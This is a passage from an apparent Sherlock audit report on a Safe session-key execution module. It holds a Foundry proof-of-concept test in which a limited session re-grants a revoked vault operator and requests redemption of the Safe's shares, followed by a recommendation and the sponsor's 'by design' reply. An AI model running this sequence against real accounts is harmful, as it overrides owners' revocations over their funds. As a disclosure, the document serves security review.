    address internal constant REGISTRY = 0xd5C2dFD6d34c2bEA1dbec14DE4780d4A9D45ea17;
    address internal constant ADAPTER = 0xaffD3c3cD06cf499deddf78b26868018A93f2C31;
    address internal constant LIVE_MODULE =
    ↪  0xF659d30D4EB88B06A909F20839D8959Bd77d8790;

    AccountInstance internal instance;
```

```
    GuardedExecModuleUpgradeable internal module;
    address internal safe;

    function setUp() public virtual {
        vm.setEnv("ACCOUNT_TYPE", "SAFE");
        vm.createSelectFork(vm.envOr("BASE_RPC_URL",
        ↪  string("https://base.publicnode.com")), 53_023_969);
        init();
        GuardedExecModuleUpgradeable implementation = new
        ↪  GuardedExecModuleUpgradeable(ADAPTER);
        module = GuardedExecModuleUpgradeable(address(new ERC1967Proxy(
            address(implementation),
            abi.encodeCall(GuardedExecModuleUpgradeable.initialize, (REGISTRY,
            ↪  address(this)))
        )));
        instance = makeAccountInstance("Safe");
        safe = address(instance.account);
        vm.deal(safe, 1 ether);
        instance.installModule(MODULE_TYPE_EXECUTOR, address(module), "");
    }

    function _useProductionModule() internal {
        instance.installModule(MODULE_TYPE_EXECUTOR, LIVE_MODULE, "");
        module = GuardedExecModuleUpgradeable(LIVE_MODULE);
        assertEq(module.version(), "2.0.0");
        assertEq(address(module.registry()), REGISTRY);
    }

    function _limitedSession() internal returns (Session memory session) {
        PolicyData[] memory policies = new PolicyData[](1);
        policies[0] = PolicyData(address(new MockPolicy()), "");
        ActionData[] memory actions = new ActionData[](1);
        actions[0] = ActionData(module.executeGuardedBatch.selector,
        ↪  address(module), policies);
        session = Session({
            sessionValidator:
            ↪  ISessionValidator(address(instance.defaultSessionValidator)),
            sessionValidatorInitData: "mockInitData",
            salt: bytes32(uint256(1)),
            userOpPolicies: policies,
            erc7739Policies: ERC7739Data(new string[](0), new PolicyData[](0)),
            actions: actions
        });
    }
}
```

test/OperatorRegrant.t.sol:

```
// SPDX-License-Identifier: MIT
```

```
pragma solidity ^0.8.23;

import {Execution} from "modulekit/accounts/erc7579/lib/ExecutionLib.sol";
import {ModuleKitHelpers} from "modulekit/ModuleKit.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GuardedExecModuleUpgradeable} from
↪  "../src/module/GuardedExecModuleUpgradeable.sol";
import {TargetRegistry} from "../src/registry/TargetRegistry.sol";
import {SessionKeyFixture} from "./SessionKeyFixture.t.sol";

interface ISuperVaultForTest {
    function deposit(uint256 assets, address receiver) external returns (uint256
    ↪  shares);
    function setOperator(address operator, bool approved) external returns (bool);
    function isOperator(address owner, address operator) external view returns
    ↪  (bool);
    function pendingRedeemRequest(uint256 id, address controller) external view
    ↪  returns (uint256);
    function claimableRedeemRequest(uint256 id, address controller) external view
    ↪  returns (uint256);
}

contract OperatorRegrantTest is SessionKeyFixture {
    using ModuleKitHelpers for *;

    address constant VAULT = 0x2c71f70e2Ec720AE061Ae7E0316fC9654d94f417;
    address constant ASSET = 0x5b2193fDc451C1f847bE09CA9d13A4Bf60f8c86B;
    bytes4 constant REQUEST_REDEEM_FOR_SELF = 0x28e36bd6;

    function testLocalScopedModule() public { _run(false); }
    function testDeployedModule() public { _run(true); }

    function _run(bool deployed) internal {
        if (deployed) _useProductionModule();
        assertTrue(TargetRegistry(REGISTRY).whitelist(VAULT,
        ↪  ISuperVaultForTest.setOperator.selector));
        assertTrue(TargetRegistry(REGISTRY).whitelist(ADAPTER,
        ↪  REQUEST_REDEEM_FOR_SELF));

        deal(ASSET, safe, 100e18);
        instance.exec(ASSET, abi.encodeCall(IERC20.approve, (VAULT, 100e18)));
        instance.exec(VAULT, abi.encodeCall(ISuperVaultForTest.deposit, (100e18,
        ↪  safe)));
        uint256 shares = IERC20(VAULT).balanceOf(safe);
        assertGt(shares, 0);

        instance.exec(VAULT, abi.encodeCall(ISuperVaultForTest.setOperator,
        ↪  (ADAPTER, true)));
        instance.exec(VAULT, abi.encodeCall(ISuperVaultForTest.setOperator,
        ↪  (ADAPTER, false)));
```

```
        assertFalse(ISuperVaultForTest(VAULT).isOperator(safe, ADAPTER));

        Execution[] memory calls = new Execution[](2);
        calls[0] = Execution(VAULT, 0,
        ↪  abi.encodeCall(ISuperVaultForTest.setOperator, (ADAPTER, true)));
        calls[1] = Execution(ADAPTER, 0,
        ↪  abi.encodeWithSelector(REQUEST_REDEEM_FOR_SELF, VAULT, shares));
        instance.useSession(
            _limitedSession(), address(module), 0,
            abi.encodeWithSelector(GuardedExecModuleUpgradeable.executeGuardedBatch
            ↪  .selector, calls)
        );

        assertEq(IERC20(VAULT).balanceOf(safe), 0);
        assertEq(ISuperVaultForTest(VAULT).pendingRedeemRequest(0, safe), shares);
        assertEq(ISuperVaultForTest(VAULT).claimableRedeemRequest(0, safe), 0);
    }
}
```

Recommendation

Remove `setOperator(Adapter, true)` from the session allowlist and have the Safe owner grant the Adapter during onboarding. If session-driven onboarding is required, add an owner-controlled, per-Safe and per-vault block on session grants; the owner can set that block when revoking the Adapter and explicitly clear it when re-enabling automation.

Discussion

PaulDeFi

#21 – Acknowledged, by design. Revoking the Adapter as operator is not the mechanism to stop the agent: the stop actions are disabling the session or the module, or pausing the module. The re-grant is limited to the Adapter, the redemption request stays assigned to the Safe, and the assets settle back to the Safe on claim. The impact is limited to timing.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.